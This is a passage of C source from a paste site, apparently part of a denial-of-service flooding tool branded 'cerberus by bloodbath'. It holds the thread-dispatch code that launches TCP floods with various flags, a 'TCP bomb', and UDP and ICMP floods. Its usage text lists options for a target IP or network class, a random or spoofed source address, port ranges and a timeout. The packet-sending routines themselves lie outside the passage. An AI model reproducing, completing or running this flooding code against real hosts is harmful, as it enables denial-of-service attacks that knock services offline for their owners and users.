  878.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  879.                         {
  880.                         printf("+    Thread error:\n");
  881.                                 perror("-    pthread_create()\n");
  882.                 }
  883.                 }
  884.                 if (thread_data_array[i].a_flags == TCP_PSH)
  885.                 {
  886.                         thread_data_array[i].thread             = i;
  887.                         thread_data_array[i].packets    = 0;
  888.  
  889.                         thread_data_array[i].th_flags = TH_PUSH;
  890.  
  891.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  892.                         {
  893.                         printf("+    Thread error:\n");
  894.                                 perror("-    pthread_create()\n");
  895.                 }
  896.                 }
  897.                 if (thread_data_array[i].a_flags == TCP_ACK)
  898.                 {
  899.                         thread_data_array[i].thread             = i;
  900.                         thread_data_array[i].packets    = 0;
  901.  
  902.                         thread_data_array[i].th_flags = TH_ACK;
  903.  
  904.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  905.                         {
  906.                         printf("+    Thread error:\n");
  907.                                 perror("-    pthread_create()\n");
  908.                 }
  909.                 }
  910.                 if (thread_data_array[i].a_flags == TCP_URG)
  911.                 {
  912.                         thread_data_array[i].thread             = i;
  913.                         thread_data_array[i].packets    = 0;
  914.  
  915.                         thread_data_array[i].th_flags = TH_URG;
  916.  
  917.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  918.                         {
  919.                         printf("+    Thread error:\n");
  920.                                 perror("-    pthread_create()\n");
  921.                 }
  922.                 }
  923.                 if (thread_data_array[i].a_flags == TCP_BMB)
  924.                 {
  925.                         thread_data_array[i].thread             = i;
  926.                         thread_data_array[i].packets    = 0;
  927.  
  928.                         if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  929.                         {
  930.                         printf("+    Thread error:\n");
  931.                                 perror("-    pthread_create()\n");
  932.                 }
  933.                 }
  934.                 if (thread_data_array[i].a_flags == UDP_CFF)
  935.                 {
  936.                         thread_data_array[i].thread             = i;
  937.                         thread_data_array[i].packets    = 0;
  938.  
  939.                         if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0)
  940.                         {
  941.                         printf("+    Thread error:\n");
  942.                                 perror("-    pthread_create()\n");
  943.                 }
  944.                 }
  945.                 if (thread_data_array[i].a_flags == ICMP_ECHO_G)
  946.                 {
  947.                         thread_data_array[i].thread             = i;
  948.                         thread_data_array[i].packets    = 0;
  949.  
  950.                         if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0)
  951.                         {
  952.                         printf("+    Thread error:\n");
  953.                                 perror("-    pthread_create()\n");
  954.                 }
  955.                 }
  956.         }
  957.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  958.                 pthread_join(attack_thread[i], NULL);
  959.  
  960.     exit(0);
  961. }
  962.  
  963. const char *banner_name         = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  964. static void
  965. usage(const char *argv0)
  966. {
  967.     printf("%s \n",   banner_name);
  968.         printf("    -4 IPv4\n");
  969.         printf("    -6 IPv6\n");
  970.         printf("    -U UDP  attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  971.         printf("    -I ICMP attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  972.         printf("    -C TCP  bomb                                          \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  973.         printf("    -T TCP  attack         \e[1;37m[\e[0m0:FIN, 1:SYN, 2:RST, 3:PUSH, 4:ACK, 5:URG\e[1;37m]\e[0m\n");
  974.         printf("    -h destination ip                                     \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  975.         printf("    -d destination class                                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  976.         printf("    -s source class/ip                                        \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  977.         printf("    -p destination port range [start,end]                     \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  978.         printf("    -q source port range      [start,end]                     \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  979.         printf("    -t timeout                                            \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  980.     printf("\e[1musage\e[0m: %s -4 -6 -U -I -C -T -h -s -p -t]\n", argv0);
  981.     exit(-1);
  982. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement